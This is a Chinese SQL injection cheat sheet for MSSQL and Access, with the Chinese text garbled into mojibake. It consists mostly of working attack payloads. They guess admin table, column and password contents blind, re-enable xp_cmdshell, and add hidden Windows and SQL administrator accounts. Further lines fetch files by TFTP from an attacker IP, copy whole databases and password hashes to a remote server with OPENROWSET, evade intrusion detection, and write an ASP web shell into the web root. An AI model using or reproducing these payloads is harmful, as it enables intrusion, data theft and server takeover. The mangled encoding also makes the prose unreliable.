SQL×¢ÈëÓï¾ä2
1..ÅжÏÓÐÎÞ×¢Èëµã; and 1=1 and 1=2
2.²Â±íÒ»°ãµÄ±íµÄÃû³ÆÎÞ·ÇÊÇadmin adminuser user pass password µÈ..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---ÅжÏÊÇ·ñ´æÔÚadminÕâÕűí
3.²ÂÕʺÅÊýÄ¿ Èç¹ûÓöµ½0< ·µ»ØÕýÈ·Ò³Ãæ 1<·µ»Ø´íÎóÒ³ÃæËµÃ÷ÕʺÅÊýÄ¿¾ÍÊÇ1¸ö
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
²ÂÁÐÃû»¹ÓÐ and (select count(ÁÐÃû) from ±íÃû)>0
4.²Â½â×Ö¶ÎÃû³Æ ÔÚlen( ) À¨ºÅÀïÃæ¼ÓÉÏÎÒÃÇÏëµ½µÄ×Ö¶ÎÃû³Æ.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(Óû§×Ö¶ÎÃû³Æname)>0)
and 1=(select count(*) from admin where len(ÃÜÂë×Ö¶ÎÃû³Æpassword)>0)
5.²Â½â¸÷¸ö×ֶεij¤¶È ²Â½â³¤¶È¾ÍÊǰÑ>0±ä»» Ö±µ½·µ»ØÕýÈ·Ò³ÃæÎªÖ¹
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) ´íÎó
and 1=(select count(*) from admin where len(name)>5) ÕýÈ· ³¤¶ÈÊÇ6
and 1=(select count(*) from admin where len(name)=6) ÕýÈ·
and 1=(select count(*) from admin where len(password)>11) ÕýÈ·
and 1=(select count(*) from admin where len(password)>12) ´íÎó ³¤¶ÈÊÇ12
and 1=(select count(*) from admin where len(password)=12) ÕýÈ·
²Â³¤¶È»¹ÓÐ and (select top 1 len(username) from admin)>5
6.²Â½â×Ö·û
and 1=(select count(*) from admin where left(name,1)=a) ---²Â½âÓû§ÕʺŵĵÚһλ
and 1=(select count(*) from admin where left(name,2)=ab)---²Â½âÓû§Õʺŵĵڶþλ
¾ÍÕâÑùÒ»´Î¼ÓÒ»¸ö×Ö·ûÕâÑù²Â,²Âµ½¹»Äã¸Õ²Å²Â³öÀ´µÄ¶àÉÙλÁ˾ͶÔÁË,ÕʺžÍËã³öÀ´ÁË
²ÂÄÚÈÝ»¹ÓÐand (select top 1 asc(mid(password,1,1)) from admin)>50ÓÃASCÂëËã
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
Õâ¸ö²éѯÓï¾ä¿ÉÒԲ½âÖÐÎĵÄÓû§ºÍÃÜÂë.Ö»Òª°ÑºóÃæµÄÊý×Ö»»³ÉÖÐÎĵÄASSICÂë¾ÍOK.×îºó°Ñ½á¹ûÔÙת»»³É×Ö·û.
group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 ÁÐÃû FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 ÁÐÃû FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE ÁÐÃû NOT IN (login_id)-
UNION SELECT TOP 1 ÁÐÃû FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE ÁÐÃû NOT IN (login_id,login_name)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
¿´·þÎñÆ÷´òµÄ²¹¶¡=³ö´íÁË´òÁËSP4²¹¶¡
and 1=(select @@VERSION)--
¿´Êý¾Ý¿âÁ¬½ÓÕ˺ŵÄȨÏÞ£¬·µ»ØÕý³££¬Ö¤Ã÷ÊÇ·þÎñÆ÷½ÇÉ«sysadminȨÏÞ¡£
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
ÅжÏÁ¬½ÓÊý¾Ý¿âÕʺ𣣍²ÉÓÃSAÕ˺ÅÁ¬½Ó ·µ»ØÕý³£=Ö¤Ã÷ÁËÁ¬½ÓÕ˺ÅÊÇSA£©
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
¿´xp_cmdshellÊÇ·ñɾ³ý
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
xp_cmdshell±»É¾³ý£¬»Ö¸´,Ö§³Ö¾ø¶Ô·¾¶µÄ»Ö¸´
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
·´ÏòPING×Ô¼ºÊµÑé
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
¼ÓÕʺÅ
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
´´½¨Ò»¸öÐéÄâĿ¼EÅÌ£º
;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c£º\inetpub\wwwroot\mkwebdir.vbs -w "ĬÈÏWebÕ¾µã" -v "e","e£º\"--
·ÃÎÊÊôÐÔ£º£¨ÅäºÏдÈëÒ»¸öwebshell£©
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c£º\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
MSSQLÒ²¿ÉÒÔÓÃÁªºÏ²éѯ
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union£¬accessÒ²ºÃÓÃ)
±¬¿â ÌØÊâ¼¼ÇÉ:%5c=\ »òÕß°Ñ/ºÍ\ ÐÞ¸Ä%5Ìá½»
µÃµ½WEB·¾¶
;create table . ((255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- ½¨Á¢imageÀàÐ͵ıícmd
´æÔÚxp_cmdshellµÄ²âÊÔ¹ý³Ì£º
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- ¼ÓSQLÕʺÅ
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start, schedule Æô¶¯·þÎñ
exec master..xp_servicecontrol start, server
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C£º\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C£º\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_cmdshell tftp -i youip get file.exe-- ÀûÓÃTFTPÉÏ´«Îļþ
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm¡¯+¡¯dshell exec @a dir c:\
;declare @a;set @a=db_name();backup database @a to disk=ÄãµÄIPÄãµÄ¹²ÏíĿ¼bak.dat
Èç¹û±»ÏÞÖÆÔò¿ÉÒÔ¡£
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
²éѯ¹¹Ô죺
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- ÏÔʾÓÐÒ»¸ö½ÐffffµÄÓû§¹þ¡£
and 1<>(select count(email) from );--
;update set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update set email=(select top 1 count(id) from password) where name=ffff;--
;update set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update set email=(select top 1 name from password where id=2) where name=ffff;--
ÉÏÃæµÄÓï¾äÊǵõ½Êý¾Ý¿âÖеĵÚÒ»¸öÓû§±í,²¢°Ñ±íÃû·ÅÔÚffffÓû§µÄÓÊÏä×Ö¶ÎÖС£
ͨ¹ý²é¿´ffffµÄÓû§×ÊÁϿɵõÚÒ»¸öÓñí½Ðad
È»ºó¸ù¾Ý±íÃûadµÃµ½Õâ¸ö±íµÄID µÃµ½µÚ¶þ¸ö±íµÄÃû×Ö
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //ΪaccessÊý¾Ý¿â
ö¾Ù³öÊý¾Ý±íÃû
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
ÕâÊǽ«µÚÒ»¸ö±íÃû¸üе½aaaµÄ×ֶδ¦¡£
¶Á³öµÚÒ»¸ö±í£¬µÚ¶þ¸ö±í¿ÉÒÔÕâÑù¶Á³öÀ´£¨ÔÚÌõ¼þºó¼ÓÉÏ and name<>¸Õ²ÅµÃµ½µÄ±íÃû£©¡£
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
È»ºóid=1552 and exists(select * from aaa where aaa>5)
¶Á³öµÚ¶þ¸ö±í£¬Ò»¸ö¸öµÄ¶Á³ö£¬Ö±µ½Ã»ÓÐΪֹ¡£
¶Á×Ö¶ÎÊÇÕâÑù£º
;update aaa set aaa=(select top 1 col_name(object_id(±íÃû),1));--
È»ºóid=152 and exists(select * from aaa where aaa>5)³ö´í£¬µÃµ½×Ö¶ÎÃû
;update aaa set aaa=(select top 1 col_name(object_id(±íÃû),2));--
È»ºóid=152 and exists(select * from aaa where aaa>5)³ö´í£¬µÃµ½×Ö¶ÎÃû
[»ñµÃÊý¾Ý±íÃû][½«×Ö¶ÎÖµ¸üÐÂΪ±íÃû£¬ÔÙÏë·¨¶Á³öÕâ¸ö×ֶεÄÖµ¾Í¿ÉµÃµ½±íÃû]
update ±íÃû set ×Ö¶Î=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>ÄãµÃµ½µÄ±íÃû ²é³öÒ»¸ö¼ÓÒ»¸ö]) [ where Ìõ¼þ] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,¡)
ͨ¹ýSQLSERVER×¢Èë©¶´½¨Êý¾Ý¿â¹ÜÀíÔ±ÕʺźÍϵͳ¹ÜÀíÔ±ÕʺÅ[µ±Ç°ÕʺűØÐëÊÇSYSADMIN×é]
[»ñµÃÊý¾Ý±í×Ö¶ÎÃû][½«×Ö¶ÎÖµ¸üÐÂΪ×Ö¶ÎÃû£¬ÔÙÏë·¨¶Á³öÕâ¸ö×ֶεÄÖµ¾Í¿ÉµÃµ½×Ö¶ÎÃû]
update ±íÃû set ×Ö¶Î=(select top 1 col_name(object_id(Òª²éѯµÄÊý¾Ý±íÃû),×Ö¶ÎÁÐÈç:1) [ where Ìõ¼þ]
ÈÆ¹ýIDSµÄ¼ì²â[ʹÓñäÁ¿]
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm¡¯+¡¯dshell exec @a dir c:\
1¡¢ ¿ªÆôÔ¶³ÌÊý¾Ý¿â
»ù±¾Óï·¨
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
²ÎÊý: (1) OLEDB Provider name
2¡¢ ÆäÖÐÁ¬½Ó×Ö·û´®²ÎÊý¿ÉÒÔÊÇÈκζ˿ÚÓÃÀ´Á¬½Ó,±ÈÈç
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.¸´ÖÆÄ¿±êÖ÷»úµÄÕû¸öÊý¾Ý¿âinsertËùÓÐÔ¶³Ì±íµ½±¾µØ±í¡£
»ù±¾Óï·¨£º
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
ÕâÐÐÓï¾ä½«Ä¿±êÖ÷»úÉÏtable2±íÖеÄËùÓÐÊý¾Ý¸´ÖƵ½Ô¶³ÌÊý¾Ý¿âÖеÄtable1±íÖС£Êµ¼ÊÔËÓÃÖÐÊʵ±ÐÞ¸ÄÁ¬½Ó×Ö·û´®µÄIPµØÖ·ºÍ¶Ë¿Ú£¬Ö¸ÏòÐèÒªµÄµØ·½£¬±ÈÈ磺
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
¸´ÖÆÊý¾Ý¿â£º
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
¸´ÖƹþÎ÷±í£¨HASH£©µÇ¼ÃÜÂëµÄhash´æ´¢ÓÚsysxloginsÖС£·½·¨ÈçÏ£º
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins
µÃµ½hashÖ®ºó£¬¾Í¿ÉÒÔ½øÐб©Á¦ÆÆ½â¡£
±éÀúĿ¼µÄ·½·¨£º ÏÈ´´½¨Ò»¸öÁÙʱ±í£ºtemp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- »ñµÃµ±Ç°ËùÓÐÇý¶¯Æ÷
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- »ñµÃ×ÓĿ¼Áбí
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- »ñµÃËùÓÐ×ÓĿ¼µÄĿ¼Ê÷½á¹¹,²¢´çÈëtemp±íÖÐ
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- ²é¿´Ä³¸öÎļþµÄÄÚÈÝ
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- £¨xp_dirtreeÊÊÓÃȨÏÞPUBLIC£©
дÈë±í£º
Óï¾ä1£ºand 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
Óï¾ä2£ºand 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
Óï¾ä3£ºand 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
Óï¾ä4£ºand 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
Óï¾ä5£ºand 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
Óï¾ä6£ºand 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
Óï¾ä7£ºand 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
Óï¾ä8£ºand 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
Óï¾ä9£ºand 1=(SELECT IS_MEMBER(db_owner));--
°Ñ·¾¶Ð´µ½±íÖÐÈ¥£º
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
°ÑÊý¾Ý¿â±¸·Ýµ½ÍøÒ³Ä¿Â¼£ºÏÂÔØ
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) ²Î¿´Ïà¹Ø±í¡£
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_oacreate wscript.shell, @o out
exec sp_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int
exec sp_oacreate speech.voicetext, @o out
exec sp_oamethod @o, register, NULL, foo, bar
exec sp_oasetproperty @o, speed, 150
exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
xp_dirtreeÊÊÓÃȨÏÞPUBLIC
exec master.dbo.xp_dirtree c:·µ»ØµÄÐÅÏ¢ÓÐÁ½¸ö×Ö¶Îsubdirectory¡¢depth¡£Subdirectory×Ö¶ÎÊÇ×Ö·ûÐÍ£¬depth×Ö¶ÎÊÇÕûÐÎ×ֶΡ£
create table dirs(paths varchar(100), id int)
½¨±í£¬ÕâÀィµÄ±íÊǺÍÉÏÃæxp_dirtreeÏà¹ØÁ¬£¬×Ö¶ÎÏàµÈ¡¢ÀàÐÍÏàͬ¡£
insert dirs exec master.dbo.xp_dirtree c:Ö»ÒªÎÒÃǽ¨±íÓë´æ´¢½ø³Ì·µ»ØµÄ×Ö¶ÎÏඨÒåÏàµÈ¾ÍÄܹ»Ö´ÐУ¡´ïµ½Ð´±íµÄЧ¹û,Ò»²½²½´ïµ½ÎÒÃÇÏëÒªµÄÐÅÏ¢£¡
Ò³:
[1]